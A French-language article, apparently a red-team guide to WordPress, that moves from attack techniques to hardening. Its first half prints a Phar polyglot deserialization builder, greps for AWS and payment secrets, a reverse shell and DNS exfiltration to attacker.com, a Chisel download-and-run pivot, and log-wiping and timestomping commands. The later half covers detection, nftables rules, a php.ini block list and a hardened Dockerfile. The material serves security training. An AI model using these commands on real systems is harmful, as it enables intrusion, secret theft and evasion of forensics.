Hacking WordPress Expert : Red Team et Supply Chain

Les fonctions PHP vulnerables incluent toute operation de filesystem :

• file_exists(), is_dir(), is_file() - simples verifications de fichier
• fopen(), file_get_contents(), file() - lecture de fichier
• copy(), rename(), unlink() - manipulations de fichier
• stat(), fileatime(), filesize() - informations sur le fichier
• getimagesize() - fonction de traitement d'image WordPress

Fichiers Phar polyglots (JPEG+Phar)

La veritable puissance de cette technique reside dans les fichiers polyglots. Un fichier peut etre simultanement un JPEG valide et un Phar valide. WordPress accepte l'upload d'images JPEG, et si un chemin de fichier controle par l'utilisateur est passe a une fonction filesystem avec le wrapper phar://, la deserialisation est declenchee.

// Creation d'un fichier Phar polyglot JPEG+Phar
// Ce script genere un fichier qui est a la fois un JPEG et un Phar valides

// Prerequis : phar.readonly = Off dans php.ini (env de dev)

// 1. Creer le Phar avec la POP chain dans les metadonnees
$phar = new Phar('exploit.phar');
$phar->startBuffering();

// Le stub commence par un header JPEG valide
// suivi du tag PHP nécessaire pour le Phar
$jpeg_header = file_get_contents('legit_image.jpg');
$phar->setStub($jpeg_header . ' __HALT_COMPILER(); ?>');

// 2. Injecter la POP chain dans les metadonnees
// L'objet sera deserialise automatiquement
$pop_chain = new WP_Exploit_ChainA();
// ... configuration de la chaine comme precedemment
$phar->setMetadata($pop_chain);

$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

// 3. Renommer en .jpg pour passer les filtres WordPress
rename('exploit.phar', 'exploit.jpg');
// Le fichier est un JPEG valide ET un Phar valide

Fonctions WordPress vulnerables au wrapper phar://

Dans le core WordPress et ses plugins, de nombreuses fonctions manipulent des chemins de fichiers potentiellement controles par l'utilisateur. Si un attaquant peut injecter le prefix phar:// dans un chemin de fichier, la deserialisation est automatiquement declenchee.

Les installations WordPress modernes interagissent frequemment avec des services cloud. Le fichier wp-config.php ou des fichiers de configuration de plugins contiennent souvent des cles d'acces AWS, des tokens Azure, ou des credentials pour des services tiers.

# Recherche systematique de secrets dans l'installation WordPress
# 1. Cles AWS
grep -r "AKIA" /var/www/html/wp-content/ --include="*.php"
grep -r "aws_access_key\|aws_secret" /var/www/html/ --include="*.php"

# 2. Credentials SMTP (mouvement lateral via email)
grep -r "smtp\|SMTP_PASSWORD\|mail_password" /var/www/html/ --include="*.php"

# 3. Cles API tierces (Stripe, PayPal, etc.)
grep -r "sk_live_\|pk_live_\|PAYPAL" /var/www/html/ --include="*.php"

# 4. Tokens et secrets divers
grep -r "api_key\|api_secret\|token\|secret" /var/www/html/wp-content/ \
 --include="*.php" --include="*.json" --include="*.env"

# 5. Si AWS credentials trouvees :
export AWS_ACCESS_KEY_ID="AKIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
aws sts get-caller-identity # Verification de l'identite
aws s3 ls # Enumeration des buckets S3
aws iam list-users # Tentative d'escalade IAM

3.4 Reverse Shell et Tunneling

Une fois un acces initial obtenu sur WordPress, l'attaquant etablit un canal de communication persistant et discret. Les techniques de reverse shell et de tunneling permettent de maintenir un acces stable tout en echappant a la detection.

// Reverse shell PHP chiffre via stunnel
// Cette technique contourne l'inspection TLS des IDS/IPS

// 1. Reverse shell PHP basique (facilement detecte)
// exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/443 0>&1'");

// 2. Technique avancee : DNS tunneling pour l'exfiltration
// Utilisation de requetes DNS TXT pour envoyer des donnees
function dns_exfil($data) {
 $encoded = bin2hex($data);
 $chunks = str_split($encoded, 60);
 foreach ($chunks as $i => $chunk) {
 dns_get_record("$chunk.$i.exfil.attacker.com", DNS_TXT);
 }
}

// 3. SOCKS proxy via Chisel pour pivoting réseau
// Sur l'attaquant :
// chisel server --reverse --port 8443
// Sur le WordPress compromis :
// wget https://attacker.com/chisel && chmod +x chisel
// ./chisel client attacker.com:8443 R:socks
// Puis utiliser proxychains pour acceder au réseau interne

# Manipulation des timestamps pour masquer l'intrusion
# 1. Copier les timestamps d'un fichier legitime
touch -r /var/www/html/wp-includes/version.php \
 /var/www/html/wp-content/mu-plugins/backdoor.php

# 2. Suppression selective des logs Apache/Nginx
# Supprimer uniquement les lignes contenant notre IP
sed -i '/192.168.1.100/d' /var/log/nginx/access.log

# 3. Nettoyage des traces dans la base WordPress
# Supprimer les entrees de log dans wp_options
mysql -e "DELETE FROM wp_options WHERE option_name
 LIKE '%_transient_%' AND option_value LIKE '%shell%';"

# 4. Effacement des traces dans wp_usermeta
# Supprimer les metadonnees du compte admin cree
mysql -e "DELETE FROM wp_usermeta WHERE user_id =
 (SELECT ID FROM wp_users WHERE user_login='maintenance_admin');"
mysql -e "DELETE FROM wp_users WHERE user_login='maintenance_admin';"

Les techniques d'exploitation en mémoire uniquement (fileless) représentent le niveau le plus avance. L'attaquant execute son code directement en mémoire PHP sans jamais ecrire de fichier sur le disque, rendant la détection par les outils de FIM impossible.

Détection des tentatives d'exploitation WordPress dans les logs

Les tentatives d'exploitation de xmlrpc.php se distinguent par un volume anormal de requêtes POST sur cette endpoint, souvent depuis des IPs appartenant à des plages de datacenters. Une règle SIEM de base consiste à alerter sur plus de 20 requêtes POST vers xmlrpc.php depuis la même IP en moins de 60 secondes.

Configuration WAF spécifique WordPress

Un WAF correctement configuré (ModSecurity, Cloudflare WAF, AWS WAF) doit inclure des règles spécifiques WordPress : blocage des accès directs à wp-config.php, restriction des méthodes HTTP sur xmlrpc.php, limitation du rate sur wp-login.php, et détection des scanners connus. Les rulesets OWASP CRS version 3.3+ incluent des règles WordPress prêtes à l'emploi.

Surveillance d'intégrité des fichiers WordPress

La détection post-intrusion repose sur la surveillance d'intégrité des fichiers WordPress. Des outils comme Wazuh (agent HIDS) permettent de détecter en temps réel toute modification des fichiers core WordPress, des plugins ou des thèmes — signature caractéristique d'une injection de backdoor ou d'un webshell. La comparaison régulière des checksums avec les checksums officiels de l'API wordpress.org permet de détecter des modifications sans agent installé.

Réponse aux incidents sur une instance WordPress compromise

En cas de compromission confirmée d'une instance WordPress, la procédure de réponse à incident suit plusieurs étapes : isolation du serveur du réseau de production, préservation des preuves forensiques (logs Apache/Nginx, logs WordPress, dump mémoire si possible), analyse des fichiers modifiés pour identifier les webshells et backdoors, restauration depuis une sauvegarde saine antérieure à la compromission, et durcissement avant remise en production. La réinitialisation des mots de passe administrateurs et des clés secrètes WordPress est systématique.

# Regles nftables pour micro-segmentation WordPress
#!/usr/sbin/nft -f

table inet wordpress_fw {
 chain input {
 type filter hook input priority 0; policy drop;

 # Loopback
 iif lo accept

 # Connexions etablies
 ct state established, related accept

 # SSH uniquement depuis le bastion (management VLAN)
 ip saddr 10.0.0.0/24 tcp dport 22 accept

 # HTTPS uniquement depuis le reverse proxy
 ip saddr 10.0.1.10 tcp dport 443 accept

 # Tout le reste est bloque
 counter drop
 }

 chain forward {
 type filter hook forward priority 0; policy drop;

 # WordPress vers MySQL uniquement (port 3306)
 ip saddr 10.0.2.0/24 ip daddr 10.0.3.50 tcp dport 3306 accept

 # WordPress vers Redis uniquement (port 6379)
 ip saddr 10.0.2.0/24 ip daddr 10.0.3.60 tcp dport 6379 accept

 # MySQL et Redis : aucun acces Internet
 ip saddr 10.0.3.0/24 drop

 # Connexions retour
 ct state established, related accept
 }

 chain output {
 type filter hook output priority 0; policy drop;

 # Autoriser uniquement les mises a jour via le proxy
 ip daddr 10.0.0.5 tcp dport 3128 accept

 # DNS vers le resolver interne uniquement
 ip daddr 10.0.0.2 udp dport 53 accept
 ip daddr 10.0.0.2 tcp dport 53 accept

 # Loopback et connexions etablies
 oif lo accept
 ct state established, related accept

 counter drop
 }
}

5.4 Hardening PHP

Le hardening PHP est une couche de defense fondamentale. En restreignant les fonctions disponibles et en limitant l'acces au filesystem, on reduit considerablement les capacités d'un attaquant meme apres compromission du code WordPress.

; php.ini - Configuration securisee pour WordPress
; ================================================

; Desactiver les fonctions dangereuses
; WordPress fonctionne sans ces fonctions
disable_functions = exec, passthru, shell_exec, system, proc_open,
 popen, curl_exec, curl_multi_exec, parse_ini_file, show_source,
 pcntl_exec, pcntl_fork, pcntl_signal, pcntl_waitpid,
 pcntl_wexitstatus, pcntl_setpriority,
 dl, putenv, phpinfo, proc_nice, proc_terminate,
 posix_kill, posix_mkfifo, posix_setpgid, posix_setsid,
 posix_setuid, posix_setgid, posix_seteuid, posix_setegid

; Restreindre l'acces au filesystem
open_basedir = /var/www/html/:/tmp/:/var/www/html/wp-content/uploads/

; Desactiver les wrappers de stream dangereux
allow_url_fopen = Off
allow_url_include = Off

; Desactiver le wrapper phar (protection contre Phar deserialization)
; Dans php.ini ou via stream_wrapper_unregister()

; Sécurité des sessions
session.cookie_httponly = On
session.cookie_secure = On
session.cookie_samesite = Strict
session.use_strict_mode = On

; Limitation des ressources
max_execution_time = 30
max_input_time = 30
memory_limit = 256M
post_max_size = 16M
upload_max_filesize = 8M
max_file_uploads = 5

; Masquer les informations PHP
expose_php = Off
display_errors = Off
log_errors = On
error_log = /var/log/php/error.log

# .gitlab-ci.yml - Pipeline CI/CD securise pour WordPress
stages:
 - build
 - security-scan
 - test
 - deploy

build-wordpress-image:
 stage: build
 script:
 - docker build -t wordpress-hardened:$CI_COMMIT_SHA .

security-scan:
 stage: security-scan
 parallel:
 matrix:
 - SCAN_TYPE: [sast, container, wpscan]
 script:
 - |
 case $SCAN_TYPE in
 sast)
 # Analyse statique du code PHP
 docker run --rm -v $PWD:/app phpstan/phpstan \
 analyse /app/wp-content --level=5
 ;;
 container)
 # Scan de vulnérabilités de l'image Docker
 trivy image --severity HIGH,CRITICAL \
 --exit-code 1 wordpress-hardened:$CI_COMMIT_SHA
 ;;
 wpscan)
 # Scan WPScan sur l'environnement de staging
 wpscan --url https://staging.example.com \
 --api-token $WPSCAN_API_TOKEN \
 --enumerate vp, vt \
 --format json > wpscan-report.json
 ;;
 esac
 artifacts:
 reports:
 security: wpscan-report.json

deploy-production:
 stage: deploy
 script:
 - docker push registry.example.com/wordpress-hardened:$CI_COMMIT_SHA
 - kubectl set image deployment/wordpress \
 wordpress=registry.example.com/wordpress-hardened:$CI_COMMIT_SHA
 only:
 - main
 when: manual # Deploiement manuel apres validation

6.3 Dockerfile Securise pour WordPress

# Dockerfile - WordPress Hardened
# Multi-stage build pour minimiser la surface d'attaque

# Stage 1 : Build
FROM php:8.2-fpm-alpine AS builder
RUN apk add --no-cache curl unzip
WORKDIR /build

# Telecharger WordPress et verifier l'intégrité
ARG WP_VERSION=6.5
RUN curl -o wordpress.tar.gz \
 "https://wordpress.org/wordpress-${WP_VERSION}.tar.gz" && \
 curl -o wordpress.tar.gz.sha1 \
 "https://wordpress.org/wordpress-${WP_VERSION}.tar.gz.sha1" && \
 echo "$(cat wordpress.tar.gz.sha1) wordpress.tar.gz" | sha1sum -c - && \
 tar xzf wordpress.tar.gz

# Copier les plugins et themes valides
COPY wp-content/plugins/ /build/wordpress/wp-content/plugins/
COPY wp-content/themes/ /build/wordpress/wp-content/themes/

# Supprimer les fichiers inutiles
RUN rm -f /build/wordpress/readme.html \
 /build/wordpress/license.txt \
 /build/wordpress/wp-config-sample.php \
 /build/wordpress/xmlrpc.php

# Stage 2 : Production
FROM php:8.2-fpm-alpine AS production

# Installer uniquement les extensions PHP necessaires
RUN docker-php-ext-install mysqli pdo_mysql opcache

# Copier la configuration PHP securisee
COPY php-security.ini /usr/local/etc/php/conf.d/99-security.ini

# Creer un utilisateur non-root
RUN addgroup -g 1001 wpuser && \
 adduser -u 1001 -G wpuser -s /bin/false -D wpuser

# Copier WordPress depuis le stage builder
COPY --from=builder --chown=wpuser:wpuser /build/wordpress /var/www/html

# Permissions strictes
RUN find /var/www/html -type d -exec chmod 555 {} \; && \
 find /var/www/html -type f -exec chmod 444 {} \; && \
 mkdir -p /var/www/html/wp-content/uploads && \
 chown wpuser:wpuser /var/www/html/wp-content/uploads && \
 chmod 755 /var/www/html/wp-content/uploads

# Healthcheck
HEALTHCHECK --interval=30s --timeout=3s --retries=3 \
 CMD php-fpm-healthcheck || exit 1

USER wpuser
EXPOSE 9000

Sources et références : MITRE ATT&CK · OWASP Testing Guide

FAQ

Qu'est-ce que Hacking WordPress Expert ?

Hacking WordPress Expert désigne l'ensemble des concepts, techniques et méthodologies abordés dans cet article. Les fondamentaux sont détaillés dans les premières sections du guide.

8. Conclusion

La sécurisation de WordPress au niveau expert depasse largement le cadre des plugins de sécurité et des bonnes pratiques de base. Elle nécessite une vision holistique integrant la sécurité offensive (comprendre les techniques Red Team pour mieux se defendre), l'architecture Zero Trust (ne faire confiance a aucun composant), et l'automatisation (garantir la coherence et la reproductibilite du hardening).

Les techniques offensives presentees dans cet article -- supply chain attacks, POP chains PHP, Phar deserialization, pivot réseau -- illustrent la sophistication croissante des menaces ciblant l'ecosysteme WordPress. La réponse defensive doit etre a la hauteur : infrastructure immuable, micro-segmentation, monitoring avance avec Wazuh et Falco, pipelines CI/CD securises, et exercices Red Team reguliers.

La sécurité est un processus continu, pas un etat. Chaque nouvelle version de WordPress, chaque nouveau plugin, chaque modification d'architecture introduit potentiellement de nouveaux vecteurs d'attaque. La clef reside dans l'adoption d'une culture de sécurité qui integre la menace dans chaque decision technique et operationnelle.